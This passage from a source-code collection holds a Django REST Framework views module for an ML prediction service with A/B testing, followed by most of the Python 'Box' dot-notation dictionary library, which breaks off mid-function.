prediction else: return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST) if PredictStore.objects.filter(id=pk).exists(): instance = PredictStore.objects.get(id=pk) instance.prediction = prediction instance.target = target instance.save() else: serializer.save() return Response(serializer.data)

41.130952

203

0.665798

from django.shortcuts import render from rest_framework import viewsets from rest_framework import mixins from rest_framework.exceptions import APIException from rest_framework.decorators import action from .models import Endpoint from .serializers import EndpointSerializer from .models import MLAlgorithm from .serializers import MLAlgorithmSerializer from .models import MLAlgorithmStatus from .serializers import MLAlgorithmStatusSerializer from .models import MLRequest from .serializers import MLRequestSerializer import json from numpy.random import rand from rest_framework import views, status from rest_framework.response import Response from apps.ml.registry import MLRegistry from ml_service.wsgi import registry from django.db import transaction from apps.endpoints.models import ABTest from apps.endpoints.serializers import ABTestSerializer from apps.endpoints.models import PredictStore from apps.endpoints.serializers import PredictStoreSerializer from django.db.models import F import datetime class EndpointViewSet(mixins.RetrieveModelMixin, mixins.ListModelMixin, viewsets.GenericViewSet): serializer_class = EndpointSerializer queryset = Endpoint.objects.all() class MLAlgorithmViewSet(mixins.RetrieveModelMixin, mixins.ListModelMixin, viewsets.GenericViewSet): serializer_class = MLAlgorithmSerializer queryset = MLAlgorithm.objects.all() def deactivate_other_statuses(instance): old_statuses = MLAlgorithmStatus.objects.filter(parent_mlalgorithm = instance.parent_mlalgorithm, created_at__lt=instance.created_at, active=True) for i in range(len(old_statuses)): old_statuses[i].active = False MLAlgorithmStatus.objects.bulk_update(old_statuses, ['active']) class MLAlgorithmStatusViewSet(mixins.RetrieveModelMixin, mixins.ListModelMixin, mixins.CreateModelMixin, viewsets.GenericViewSet): serializer_class = MLAlgorithmStatusSerializer queryset = MLAlgorithmStatus.objects.all() def perform_create(self, serializer): try: with transaction.atomic(): instance = serializer.save(active=True) deactivate_other_statuses(instance) except Exception as e: raise APIException(str(e)) class MLRequestViewSet(mixins.RetrieveModelMixin, mixins.ListModelMixin, mixins.UpdateModelMixin, viewsets.GenericViewSet): serializer_class = MLRequestSerializer queryset = MLRequest.objects.all() class PredictView(views.APIView): def post(self, request, endpoint_name, format=None): algorithm_status = self.request.query_params.get('status', 'production') algorithm_version = self.request.query_params.get('version') algs = MLAlgorithm.objects.filter(parent_endpoint__name=endpoint_name, status__status=algorithm_status, status__active=True) if algorithm_version is not None: algs = algs.filter(version = algorithm_version) if len(algs) == 0: return Response( {'status': 'Error', 'message': 'ML algorithm is not available'}, status=status.HTTP_400_BAD_REQUEST, ) if len(algs) != 1 and algorithm_status != 'ab_testing': return Response( {'status': f'Error of {len(algs)} algorithms', 'message': 'ML algorithm selection is ambiguous. Please specify algorithm version.'}, status=status.HTTP_400_BAD_REQUEST, ) alg_index = 0 if algorithm_status == 'ab_testing': alg_index = 0 if rand() < 0.5 else 1 algorithm_object = registry.endpoints[algs[alg_index].id] prediction = algorithm_object.compute_prediction(request.data) label = prediction['label'] if 'label' in prediction else 'error' ml_request = MLRequest( input_data=json.dumps(request.data), full_response=prediction, response=label, feedback='', parent_mlalgorithm=algs[alg_index], ) ml_request.save() prediction['request_id'] = ml_request.id return Response(prediction) class ABTestViewSet(mixins.RetrieveModelMixin, mixins.ListModelMixin, viewsets.GenericViewSet, mixins.CreateModelMixin, mixins.UpdateModelMixin): serializer_class = ABTestSerializer queryset = ABTest.objects.all() def perform_create(self, serializer): try: with transaction.atomic(): instance = serializer.save() status_1 = MLAlgorithmStatus(status = 'ab_testing', created_by=instance.created_by, parent_mlalgorithm = instance.parent_mlalgorithm_1, active=True) status_1.save() deactivate_other_statuses(status_1) status_2 = MLAlgorithmStatus(status = 'ab_testing', created_by=instance.created_by, parent_mlalgorithm = instance.parent_mlalgorithm_2, active=True) status_2.save() deactivate_other_statuses(status_2) except Exception as e: raise APIException(str(e)) class StopABTestView(views.APIView): def post(self, request, ab_test_id, format=None): try: ab_test = ABTest.objects.get(pk=ab_test_id) if ab_test.ended_at is not None: return Response({'message': 'AB Test already finished.'}) date_now = datetime.datetime.now() all_responses_1 = MLRequest.objects.filter(parent_mlalgorithm=ab_test.parent_mlalgorithm_1, created_at__gt = ab_test.created_at, created_at__lt = date_now).count() correct_responses_1 = MLRequest.objects.filter(parent_mlalgorithm=ab_test.parent_mlalgorithm_1, created_at__gt = ab_test.created_at, created_at__lt = date_now, response=F('feedback')).count() accuracy_1 = correct_responses_1 / float(all_responses_1) print(all_responses_1, correct_responses_1, accuracy_1) all_responses_2 = MLRequest.objects.filter(parent_mlalgorithm=ab_test.parent_mlalgorithm_2, created_at__gt = ab_test.created_at, created_at__lt = date_now).count() correct_responses_2 = MLRequest.objects.filter(parent_mlalgorithm=ab_test.parent_mlalgorithm_2, created_at__gt = ab_test.created_at, created_at__lt = date_now, response=F('feedback')).count() accuracy_2 = correct_responses_2 / float(all_responses_2) print(all_responses_2, correct_responses_2, accuracy_2) alg_id_1, alg_id_2 = ab_test.parent_mlalgorithm_1, ab_test.parent_mlalgorithm_2 if accuracy_1 < accuracy_2: alg_id_1, alg_id_2 = alg_id_2, alg_id_1 status_1 = MLAlgorithmStatus(status = 'production', created_by=ab_test.created_by, parent_mlalgorithm = alg_id_1, active=True) status_1.save() deactivate_other_statuses(status_1) status_2 = MLAlgorithmStatus(status = 'testing', created_by=ab_test.created_by, parent_mlalgorithm = alg_id_2, active=True) status_2.save() deactivate_other_statuses(status_2) summary = 'Algorithm #1 accuracy: {}, Algorithm #2 accuracy: {}'.format(accuracy_1, accuracy_2) ab_test.ended_at = date_now ab_test.summary = summary ab_test.save() except Exception as e: return Response({'status': 'Error', 'message': str(e)}, status=status.HTTP_400_BAD_REQUEST ) return Response({'message': 'AB Test finished.', 'summary': summary}) class PredictStoreViewSet(mixins.RetrieveModelMixin, mixins.ListModelMixin, viewsets.GenericViewSet): serializer_class = PredictStoreSerializer queryset = PredictStore.objects.all() @action(detail=True, methods=['post']) def predict(self, request, pk=None, format=None): serializer = PredictStoreSerializer(data=request.data) if serializer.is_valid(): ml_algorithm_s = serializer.validated_data['ml_algorithm'] created_by_s = serializer.validated_data['created_by'] target = serializer.validated_data['target'] else: return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST) alg_status = MLAlgorithmStatus(status='production', created_by=created_by_s, parent_mlalgorithm=ml_algorithm_s, active=True) alg_status.save() deactivate_other_statuses(alg_status) data = json.loads(request.data['input_data']) algs = MLAlgorithm.objects.filter(status__parent_mlalgorithm=ml_algorithm_s, status__active=True) algorithm_object = registry.endpoints[algs[0].id] prediction = algorithm_object.compute_prediction(data) label = prediction['label'] if 'label' in prediction else 'error' ml_request = MLRequest( input_data=json.dumps(data), full_response=prediction, response=label, feedback=target, parent_mlalgorithm=algs[0], ) ml_request.save() prediction["request_id"] = ml_request.id if serializer.is_valid(): serializer.validated_data['prediction'] = prediction else: return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST) if PredictStore.objects.filter(id=pk).exists(): instance = PredictStore.objects.get(id=pk) instance.prediction = prediction instance.target = target instance.save() else: serializer.save() return Response(serializer.data)

true

f7f364999c82238e49ad2e272c05e000c24e4281

44,044

py

Python

box.py

str3tch/Box

d512eba2995af267798d059dd305b79b36d913c3

[ "MIT" ]

null

box.py

str3tch/Box

d512eba2995af267798d059dd305b79b36d913c3

[ "MIT" ]

null

box.py

str3tch/Box

d512eba2995af267798d059dd305b79b36d913c3

[ "MIT" ]

null

#!/usr/bin/env python # -*- coding: UTF-8 -*- # # Copyright (c) 2017-2019 - Chris Griffith - MIT License """ Improved dictionary access through dot notation with additional tools. """ import string import sys import json import re import copy from keyword import kwlist import warnings try: from collections.abc import Iterable, Mapping, Callable except ImportError: from collections import Iterable, Mapping, Callable yaml_support = True try: import yaml except ImportError: try: import ruamel.yaml as yaml except ImportError: yaml = None yaml_support = False wrapt_support = True try: import wrapt except ImportError: wrapt = None wrapt_support = False if sys.version_info >= (3, 0): basestring = str else: from io import open __all__ = ['Box', 'ConfigBox', 'BoxList', 'SBox', 'BoxError', 'BoxKeyError'] __author__ = 'Chris Griffith' __version__ = '3.4.2' BOX_PARAMETERS = ('default_box', 'default_box_attr', 'conversion_box', 'frozen_box', 'camel_killer_box', 'box_it_up', 'box_safe_prefix', 'box_duplicates', 'ordered_box', 'box_intact_types') _first_cap_re = re.compile('(.)([A-Z][a-z]+)') _all_cap_re = re.compile('([a-z0-9])([A-Z])') class BoxError(Exception): """Non standard dictionary exceptions""" class BoxKeyError(BoxError, KeyError, AttributeError): """Key does not exist""" # Abstract converter functions for use in any Box class def _to_json(obj, filename=None, encoding="utf-8", errors="strict", **json_kwargs): json_dump = json.dumps(obj, ensure_ascii=False, **json_kwargs) if filename: with open(filename, 'w', encoding=encoding, errors=errors) as f: f.write(json_dump if sys.version_info >= (3, 0) else json_dump.decode("utf-8")) else: return json_dump def _from_json(json_string=None, filename=None, encoding="utf-8", errors="strict", multiline=False, **kwargs): if filename: with open(filename, 'r', encoding=encoding, errors=errors) as f: if multiline: data = [json.loads(line.strip(), **kwargs) for line in f if line.strip() and not line.strip().startswith("#")] else: data = json.load(f, **kwargs) elif json_string: data = json.loads(json_string, **kwargs) else: raise BoxError('from_json requires a string or filename') return data def _to_yaml(obj, filename=None, default_flow_style=False, encoding="utf-8", errors="strict", **yaml_kwargs): if filename: with open(filename, 'w', encoding=encoding, errors=errors) as f: yaml.dump(obj, stream=f, default_flow_style=default_flow_style, **yaml_kwargs) else: return yaml.dump(obj, default_flow_style=default_flow_style, **yaml_kwargs) def _from_yaml(yaml_string=None, filename=None, encoding="utf-8", errors="strict", **kwargs): if filename: with open(filename, 'r', encoding=encoding, errors=errors) as f: data = yaml.load(f, **kwargs) elif yaml_string: data = yaml.load(yaml_string, **kwargs) else: raise BoxError('from_yaml requires a string or filename') return data # Helper functions def _safe_key(key): try: return str(key) except UnicodeEncodeError: return key.encode("utf-8", "ignore") def _safe_attr(attr, camel_killer=False, replacement_char='x'): """Convert a key into something that is accessible as an attribute""" allowed = string.ascii_letters + string.digits + '_' attr = _safe_key(attr) if camel_killer: attr = _camel_killer(attr) attr = attr.replace(' ', '_') out = '' for character in attr: out += character if character in allowed else "_" out = out.strip("_") try: int(out[0]) except (ValueError, IndexError): pass else: out = '{0}{1}'.format(replacement_char, out) if out in kwlist: out = '{0}{1}'.format(replacement_char, out) return re.sub('_+', '_', out) def _camel_killer(attr): """ CamelKiller, qu'est-ce que c'est? Taken from http://stackoverflow.com/a/1176023/3244542 """ try: attr = str(attr) except UnicodeEncodeError: attr = attr.encode("utf-8", "ignore") s1 = _first_cap_re.sub(r'\1_\2', attr) s2 = _all_cap_re.sub(r'\1_\2', s1) return re.sub('_+', '_', s2.casefold() if hasattr(s2, 'casefold') else s2.lower()) def _recursive_tuples(iterable, box_class, recreate_tuples=False, **kwargs): out_list = [] for i in iterable: if isinstance(i, dict): out_list.append(box_class(i, **kwargs)) elif isinstance(i, list) or (recreate_tuples and isinstance(i, tuple)): out_list.append(_recursive_tuples(i, box_class, recreate_tuples, **kwargs)) else: out_list.append(i) return tuple(out_list) def _conversion_checks(item, keys, box_config, check_only=False, pre_check=False): """ Internal use for checking if a duplicate safe attribute already exists :param item: Item to see if a dup exists :param keys: Keys to check against :param box_config: Easier to pass in than ask for specfic items :param check_only: Don't bother doing the conversion work :param pre_check: Need to add the item to the list of keys to check :return: the original unmodified key, if exists and not check_only """ if box_config['box_duplicates'] != 'ignore': if pre_check: keys = list(keys) + [item] key_list = [(k, _safe_attr(k, camel_killer=box_config['camel_killer_box'], replacement_char=box_config['box_safe_prefix'] )) for k in keys] if len(key_list) > len(set(x[1] for x in key_list)): seen = set() dups = set() for x in key_list: if x[1] in seen: dups.add("{0}({1})".format(x[0], x[1])) seen.add(x[1]) if box_config['box_duplicates'].startswith("warn"): warnings.warn('Duplicate conversion attributes exist: ' '{0}'.format(dups)) else: raise BoxError('Duplicate conversion attributes exist: ' '{0}'.format(dups)) if check_only: return # This way will be slower for warnings, as it will have double work # But faster for the default 'ignore' for k in keys: if item == _safe_attr(k, camel_killer=box_config['camel_killer_box'], replacement_char=box_config['box_safe_prefix']): return k def _get_box_config(cls, kwargs): return { # Internal use only '__converted': set(), '__box_heritage': kwargs.pop('__box_heritage', None), '__created': False, '__ordered_box_values': [], # Can be changed by user after box creation 'default_box': kwargs.pop('default_box', False), 'default_box_attr': kwargs.pop('default_box_attr', cls), 'conversion_box': kwargs.pop('conversion_box', True), 'box_safe_prefix': kwargs.pop('box_safe_prefix', 'x'), 'frozen_box': kwargs.pop('frozen_box', False), 'camel_killer_box': kwargs.pop('camel_killer_box', False), 'modify_tuples_box': kwargs.pop('modify_tuples_box', False), 'box_duplicates': kwargs.pop('box_duplicates', 'ignore'), 'ordered_box': kwargs.pop('ordered_box', False), 'box_intact_types': tuple(kwargs.pop('box_intact_types', ())), } class Box(dict): """ Improved dictionary access through dot notation with additional tools. :param default_box: Similar to defaultdict, return a default value :param default_box_attr: Specify the default replacement. WARNING: If this is not the default 'Box', it will not be recursive :param frozen_box: After creation, the box cannot be modified :param camel_killer_box: Convert CamelCase to snake_case :param conversion_box: Check for near matching keys as attributes :param modify_tuples_box: Recreate incoming tuples with dicts into Boxes :param box_it_up: Recursively create all Boxes from the start :param box_safe_prefix: Conversion box prefix for unsafe attributes :param box_duplicates: "ignore", "error" or "warn" when duplicates exists in a conversion_box :param ordered_box: Preserve the order of keys entered into the box :param box_intact_types: Keep data with given types intact """ _protected_keys = dir({}) + ['to_dict', 'tree_view', 'to_json', 'to_yaml', 'from_yaml', 'from_json'] def __new__(cls, *args, **kwargs): """ Due to the way pickling works in python 3, we need to make sure the box config is created as early as possible. """ obj = super(Box, cls).__new__(cls, *args, **kwargs) obj._box_config = _get_box_config(cls, kwargs) return obj def __init__(self, *args, **kwargs): self._box_config = _get_box_config(self.__class__, kwargs) if self._box_config['ordered_box']: self._box_config['__ordered_box_values'] = [] if (not self._box_config['conversion_box'] and self._box_config['box_duplicates'] != "ignore"): raise BoxError('box_duplicates are only for conversion_boxes') if len(args) == 1: if isinstance(args[0], basestring): raise ValueError('Cannot extrapolate Box from string') if isinstance(args[0], Mapping): for k, v in args[0].items(): if v is args[0]: v = self self[k] = v self.__add_ordered(k) elif isinstance(args[0], Iterable): for k, v in args[0]: self[k] = v self.__add_ordered(k) else: raise ValueError('First argument must be mapping or iterable') elif args: raise TypeError('Box expected at most 1 argument, ' 'got {0}'.format(len(args))) box_it = kwargs.pop('box_it_up', False) for k, v in kwargs.items(): if args and isinstance(args[0], Mapping) and v is args[0]: v = self self[k] = v self.__add_ordered(k) if (self._box_config['frozen_box'] or box_it or self._box_config['box_duplicates'] != 'ignore'): self.box_it_up() self._box_config['__created'] = True def __add_ordered(self, key): if (self._box_config['ordered_box'] and key not in self._box_config['__ordered_box_values']): self._box_config['__ordered_box_values'].append(key) def box_it_up(self): """ Perform value lookup for all items in current dictionary, generating all sub Box objects, while also running `box_it_up` on any of those sub box objects. """ for k in self: _conversion_checks(k, self.keys(), self._box_config, check_only=True) if self[k] is not self and hasattr(self[k], 'box_it_up'): self[k].box_it_up() def __hash__(self): if self._box_config['frozen_box']: hashing = 54321 for item in self.items(): hashing ^= hash(item) return hashing raise TypeError("unhashable type: 'Box'") def __dir__(self): allowed = string.ascii_letters + string.digits + '_' kill_camel = self._box_config['camel_killer_box'] items = set(dir(dict) + ['to_dict', 'to_json', 'from_json', 'box_it_up']) # Only show items accessible by dot notation for key in self.keys(): key = _safe_key(key) if (' ' not in key and key[0] not in string.digits and key not in kwlist): for letter in key: if letter not in allowed: break else: items.add(key) for key in self.keys(): key = _safe_key(key) if key not in items: if self._box_config['conversion_box']: key = _safe_attr(key, camel_killer=kill_camel, replacement_char=self._box_config[ 'box_safe_prefix']) if key: items.add(key) if kill_camel: snake_key = _camel_killer(key) if snake_key: items.remove(key) items.add(snake_key) if yaml_support: items.add('to_yaml') items.add('from_yaml') return list(items) def get(self, key, default=None): if key not in self: if default is None and self._box_config['default_box']: return self.__get_default(key) if isinstance(default, dict) and not isinstance(default, Box): return Box(default) if isinstance(default, list) and not isinstance(default, BoxList): return BoxList(default) return default return self[key] def copy(self): return Box(super(Box, self).copy()) def __copy__(self): return Box(super(Box, self).copy()) def __deepcopy__(self, memodict=None): out = self.__class__() memodict = memodict or {} memodict[id(self)] = out for k, v in self.items(): out[copy.deepcopy(k, memodict)] = copy.deepcopy(v, memodict) return out def __setstate__(self, state): self._box_config = state['_box_config'] self.__dict__.update(state) def __getitem__(self, item, _ignore_default=False): try: value = super(Box, self).__getitem__(item) except KeyError as err: if item == '_box_config': raise BoxKeyError('_box_config should only exist as an ' 'attribute and is never defaulted') if self._box_config['default_box'] and not _ignore_default: return self.__get_default(item) raise BoxKeyError(str(err)) else: return self.__convert_and_store(item, value) def keys(self): if self._box_config['ordered_box']: return self._box_config['__ordered_box_values'] return super(Box, self).keys() def values(self): return [self[x] for x in self.keys()] def items(self): return [(x, self[x]) for x in self.keys()] def __get_default(self, item): default_value = self._box_config['default_box_attr'] if default_value is self.__class__: return self.__class__(__box_heritage=(self, item), **self.__box_config()) elif isinstance(default_value, Callable): return default_value() elif hasattr(default_value, 'copy'): return default_value.copy() return default_value def __box_config(self): out = {} for k, v in self._box_config.copy().items(): if not k.startswith("__"): out[k] = v return out def __convert_and_store(self, item, value): if (item in self._box_config['__converted'] or (self._box_config['box_intact_types'] and isinstance(value, self._box_config['box_intact_types']))): return value if isinstance(value, dict) and not isinstance(value, Box): value = self.__class__(value, __box_heritage=(self, item), **self.__box_config()) self[item] = value elif isinstance(value, list) and not isinstance(value, BoxList): if self._box_config['frozen_box']: value = _recursive_tuples(value, self.__class__, recreate_tuples=self._box_config[ 'modify_tuples_box'], __box_heritage=(self, item), **self.__box_config()) else: value = BoxList(value, __box_heritage=(self, item), box_class=self.__class__, **self.__box_config()) self[item] = value elif (self._box_config['modify_tuples_box'] and isinstance(value, tuple)): value = _recursive_tuples(value, self.__class__, recreate_tuples=True, __box_heritage=(self, item), **self.__box_config()) self[item] = value self._box_config['__converted'].add(item) return value def __create_lineage(self): if (self._box_config['__box_heritage'] and self._box_config['__created']): past, item = self._box_config['__box_heritage'] if not past[item]: past[item] = self self._box_config['__box_heritage'] = None def __getattr__(self, item): try: try: value = self.__getitem__(item, _ignore_default=True) except KeyError: value = object.__getattribute__(self, item) except AttributeError as err: if item == "__getstate__": raise AttributeError(item) if item == '_box_config': raise BoxError('_box_config key must exist') kill_camel = self._box_config['camel_killer_box'] if self._box_config['conversion_box'] and item: k = _conversion_checks(item, self.keys(), self._box_config) if k: return self.__getitem__(k) if kill_camel: for k in self.keys(): if item == _camel_killer(k): return self.__getitem__(k) if self._box_config['default_box']: return self.__get_default(item) raise BoxKeyError(str(err)) else: if item == '_box_config': return value return self.__convert_and_store(item, value) def __setitem__(self, key, value): if (key != '_box_config' and self._box_config['__created'] and self._box_config['frozen_box']): raise BoxError('Box is frozen') if self._box_config['conversion_box']: _conversion_checks(key, self.keys(), self._box_config, check_only=True, pre_check=True) super(Box, self).__setitem__(key, value) self.__add_ordered(key) self.__create_lineage() def __setattr__(self, key, value): if (key != '_box_config' and self._box_config['frozen_box'] and self._box_config['__created']): raise BoxError('Box is frozen') if key in self._protected_keys: raise AttributeError("Key name '{0}' is protected".format(key)) if key == '_box_config': return object.__setattr__(self, key, value) if (key not in self.keys() and (self._box_config['conversion_box'] or self._box_config['camel_killer_box'])): if self._box_config['conversion_box']: k = _conversion_checks(key, self.keys(), self._box_config) self[key if not k else k] = value elif self._box_config['camel_killer_box']: for each_key in self: if key == _camel_killer(each_key): self[each_key] = value break else: self[key] = value self.__add_ordered(key) self.__create_lineage() def __delitem__(self, key): if self._box_config['frozen_box']: raise BoxError('Box is frozen') super(Box, self).__delitem__(key) if (self._box_config['ordered_box'] and key in self._box_config['__ordered_box_values']): self._box_config['__ordered_box_values'].remove(key) def __delattr__(self, item): if self._box_config['frozen_box']: raise BoxError('Box is frozen') if item == '_box_config': raise BoxError('"_box_config" is protected') if item in self._protected_keys: raise AttributeError("Key name '{0}' is protected".format(item)) del self[item] def pop(self, key, *args): if args: if len(args) != 1: raise BoxError('pop() takes only one optional' ' argument "default"') try: item = self[key] except KeyError: return args[0] else: del self[key] return item try: item = self[key] except KeyError: raise BoxKeyError('{0}'.format(key)) else: del self[key] return item def clear(self): self._box_config['__ordered_box_values'] = [] super(Box, self).clear() def popitem(self): try: key = next(self.__iter__()) except StopIteration: raise BoxKeyError('Empty box') return key, self.pop(key) def __repr__(self): return '<Box: {0}>'.format(str(self.to_dict())) def __str__(self): return str(self.to_dict()) def __iter__(self): for key in self.keys(): yield key def __reversed__(self): for key in reversed(list(self.keys())): yield key def to_dict(self): """ Turn the Box and sub Boxes back into a native python dictionary. :return: python dictionary of this Box """ out_dict = dict(self) for k, v in out_dict.items(): if v is self: out_dict[k] = out_dict elif hasattr(v, 'to_dict'): out_dict[k] = v.to_dict() elif hasattr(v, 'to_list'): out_dict[k] = v.to_list() return out_dict def update(self, item=None, **kwargs): if not item: item = kwargs iter_over = item.items() if hasattr(item, 'items') else item for k, v in iter_over: if isinstance(v, dict): # Box objects must be created in case they are already # in the `converted` box_config set v = self.__class__(v) if k in self and isinstance(self[k], dict): self[k].update(v) continue if isinstance(v, list): v = BoxList(v) try: self.__setattr__(k, v) except (AttributeError, TypeError): self.__setitem__(k, v) def setdefault(self, item, default=None): if item in self: return self[item] if isinstance(default, dict): default = self.__class__(default, **self.__box_config()) if isinstance(default, list): default = BoxList(default, box_class=self.__class__, **self.__box_config()) self[item] = default return default def to_json(self, filename=None, encoding="utf-8", errors="strict", **json_kwargs): """ Transform the Box object into a JSON string. :param filename: If provided will save to file :param encoding: File encoding :param errors: How to handle encoding errors :param json_kwargs: additional arguments to pass to json.dump(s) :return: string of JSON or return of `json.dump` """ return _to_json(self.to_dict(), filename=filename, encoding=encoding, errors=errors, **json_kwargs) @classmethod def from_json(cls, json_string=None, filename=None, encoding="utf-8", errors="strict", **kwargs): """ Transform a json object string into a Box object. If the incoming json is a list, you must use BoxList.from_json. :param json_string: string to pass to `json.loads` :param filename: filename to open and pass to `json.load` :param encoding: File encoding :param errors: How to handle encoding errors :param kwargs: parameters to pass to `Box()` or `json.loads` :return: Box object from json data """ bx_args = {} for arg in kwargs.copy(): if arg in BOX_PARAMETERS: bx_args[arg] = kwargs.pop(arg) data = _from_json(json_string, filename=filename, encoding=encoding, errors=errors, **kwargs) if not isinstance(data, dict): raise BoxError('json data not returned as a dictionary, ' 'but rather a {0}'.format(type(data).__name__)) return cls(data, **bx_args) if yaml_support: def to_yaml(self, filename=None, default_flow_style=False, encoding="utf-8", errors="strict", **yaml_kwargs): """ Transform the Box object into a YAML string. :param filename: If provided will save to file :param default_flow_style: False will recursively dump dicts :param encoding: File encoding :param errors: How to handle encoding errors :param yaml_kwargs: additional arguments to pass to yaml.dump :return: string of YAML or return of `yaml.dump` """ return _to_yaml(self.to_dict(), filename=filename, default_flow_style=default_flow_style, encoding=encoding, errors=errors, **yaml_kwargs) @classmethod def from_yaml(cls, yaml_string=None, filename=None, encoding="utf-8", errors="strict", loader=yaml.SafeLoader, **kwargs): """ Transform a yaml object string into a Box object. :param yaml_string: string to pass to `yaml.load` :param filename: filename to open and pass to `yaml.load` :param encoding: File encoding :param errors: How to handle encoding errors :param loader: YAML Loader, defaults to SafeLoader :param kwargs: parameters to pass to `Box()` or `yaml.load` :return: Box object from yaml data """ bx_args = {} for arg in kwargs.copy(): if arg in BOX_PARAMETERS: bx_args[arg] = kwargs.pop(arg) data = _from_yaml(yaml_string=yaml_string, filename=filename, encoding=encoding, errors=errors, Loader=loader, **kwargs) if not isinstance(data, dict): raise BoxError('yaml data not returned as a dictionary' 'but rather a {0}'.format(type(data).__name__)) return cls(data, **bx_args) class BoxList(list): """ Drop in replacement of list, that converts added objects to Box or BoxList objects as necessary. """ def __init__(self, iterable=None, box_class=Box, **box_options): self.box_class = box_class self.box_options = box_options self.box_org_ref = self.box_org_ref = id(iterable) if iterable else 0 if iterable: for x in iterable: self.append(x) if box_options.get('frozen_box'): def frozen(*args, **kwargs): raise BoxError('BoxList is frozen') for method in ['append', 'extend', 'insert', 'pop', 'remove', 'reverse', 'sort']: self.__setattr__(method, frozen) def __delitem__(self, key): if self.box_options.get('frozen_box'): raise BoxError('BoxList is frozen') super(BoxList, self).__delitem__(key) def __setitem__(self, key, value): if self.box_options.get('frozen_box'): raise BoxError('BoxList is frozen') super(BoxList, self).__setitem__(key, value) def _is_intact_type(self, obj): try: if (self.box_options.get('box_intact_types') and isinstance(obj, self.box_options['box_intact_types'])): return True except AttributeError as err: if 'box_options' in self.__dict__: raise err return False def append(self, p_object): if isinstance(p_object, dict) and not self._is_intact_type(p_object): try: p_object = self.box_class(p_object, **self.box_options) except AttributeError as err: if 'box_class' in self.__dict__: raise err elif isinstance(p_object, list) and not self._is_intact_type(p_object): try: p_object = (self if id(p_object) == self.box_org_ref else BoxList(p_object)) except AttributeError as err: if 'box_org_ref' in self.__dict__: raise err super(BoxList, self).append(p_object) def extend(self, iterable): for item in iterable: self.append(item) def insert(self, index, p_object): if isinstance(p_object, dict) and not self._is_intact_type(p_object): p_object = self.box_class(p_object, **self.box_options) elif isinstance(p_object, list) and not self._is_intact_type(p_object): p_object = (self if id(p_object) == self.box_org_ref else BoxList(p_object)) super(BoxList, self).insert(index, p_object) def __repr__(self): return "<BoxList: {0}>".format(self.to_list()) def __str__(self): return str(self.to_list()) def __copy__(self): return BoxList((x for x in self), self.box_class, **self.box_options) def __deepcopy__(self, memodict=None): out = self.__class__() memodict = memodict or {} memodict[id(self)] = out for k in self: out.append(copy.deepcopy(k)) return out def __hash__(self): if self.box_options.get('frozen_box'): hashing = 98765 hashing ^= hash(tuple(self)) return hashing raise TypeError("unhashable type: 'BoxList'") def to_list(self): new_list = [] for x in self: if x is self: new_list.append(new_list) elif isinstance(x, Box): new_list.append(x.to_dict()) elif isinstance(x, BoxList): new_list.append(x.to_list()) else: new_list.append(x) return new_list def to_json(self, filename=None, encoding="utf-8", errors="strict", multiline=False, **json_kwargs): """ Transform the BoxList object into a JSON string. :param filename: If provided will save to file :param encoding: File encoding :param errors: How to handle encoding errors :param multiline: Put each item in list onto it's own line :param json_kwargs: additional arguments to pass to json.dump(s) :return: string of JSON or return of `json.dump` """ if filename and multiline: lines = [_to_json(item, filename=False, encoding=encoding, errors=errors, **json_kwargs) for item in self] with open(filename, 'w', encoding=encoding, errors=errors) as f: f.write("\n".join(lines).decode('utf-8') if sys.version_info < (3, 0) else "\n".join(lines)) else: return _to_json(self.to_list(), filename=filename, encoding=encoding, errors=errors, **json_kwargs) @classmethod def from_json(cls, json_string=None, filename=None, encoding="utf-8", errors="strict", multiline=False, **kwargs): """ Transform a json object string into a BoxList object. If the incoming json is a dict, you must use Box.from_json. :param json_string: string to pass to `json.loads` :param filename: filename to open and pass to `json.load` :param encoding: File encoding :param errors: How to handle encoding errors :param multiline: One object per line :param kwargs: parameters to pass to `Box()` or `json.loads` :return: BoxList object from json data """ bx_args = {} for arg in kwargs.copy(): if arg in BOX_PARAMETERS: bx_args[arg] = kwargs.pop(arg) data = _from_json(json_string, filename=filename, encoding=encoding, errors=errors, multiline=multiline, **kwargs) if not isinstance(data, list): raise BoxError('json data not returned as a list, ' 'but rather a {0}'.format(type(data).__name__)) return cls(data, **bx_args) if yaml_support: def to_yaml(self, filename=None, default_flow_style=False, encoding="utf-8", errors="strict", **yaml_kwargs): """ Transform the BoxList object into a YAML string. :param filename: If provided will save to file :param default_flow_style: False will recursively dump dicts :param encoding: File encoding :param errors: How to handle encoding errors :param yaml_kwargs: additional arguments to pass to yaml.dump :return: string of YAML or return of `yaml.dump` """ return _to_yaml(self.to_list(), filename=filename, default_flow_style=default_flow_style, encoding=encoding, errors=errors, **yaml_kwargs) @classmethod def from_yaml(cls, yaml_string=None, filename=None, encoding="utf-8", errors="strict", loader=yaml.SafeLoader, **kwargs): """ Transform a yaml object string into a BoxList object. :param yaml_string: string to pass to `yaml.load` :param filename: filename to open and pass to `yaml.load` :param encoding: File encoding :param errors: How to handle encoding errors :param loader: YAML Loader, defaults to SafeLoader :param kwargs: parameters to pass to `BoxList()` or `yaml.load` :return: BoxList object from yaml data """ bx_args = {} for arg in kwargs.copy(): if arg in BOX_PARAMETERS: bx_args[arg] = kwargs.pop(arg) data = _from_yaml(yaml_string=yaml_string, filename=filename, encoding=encoding, errors=errors, Loader=loader, **kwargs) if not isinstance(data, list): raise BoxError('yaml data not returned as a list' 'but rather a {0}'.format(type(data).__name__)) return cls(data, **bx_args) def box_it_up(self): for v in self: if hasattr(v, 'box_it_up') and v is not self: v.box_it_up() class ConfigBox(Box): """ Modified box object to add object transforms. Allows for build in transforms like: cns = ConfigBox(my_bool='yes', my_int='5', my_list='5,4,3,3,2') cns.bool('my_bool') # True cns.int('my_int') # 5 cns.list('my_list', mod=lambda x: int(x)) # [5, 4, 3, 3, 2] """ _protected_keys = dir({}) + ['to_dict', 'bool', 'int', 'float', 'list', 'getboolean', 'to_json', 'to_yaml', 'getfloat', 'getint', 'from_json', 'from_yaml'] def __getattr__(self, item): """Config file keys are stored in lower case, be a little more loosey goosey""" try: return super(ConfigBox, self).__getattr__(item) except AttributeError: return super(ConfigBox, self).__getattr__(item.lower()) def __dir__(self): return super(ConfigBox, self).__dir__() + ['bool', 'int', 'float', 'list', 'getboolean', 'getfloat', 'getint'] def bool(self, item, default=None): """ Return value of key as a boolean :param item: key of value to transform :param default: value to return if item does not exist :return: approximated bool of value """ try: item = self.__getattr__(item) except AttributeError as err: if default is not None: return default raise err if isinstance(item, (bool, int)): return bool(item) if (isinstance(item, str) and item.lower() in ('n', 'no', 'false', 'f', 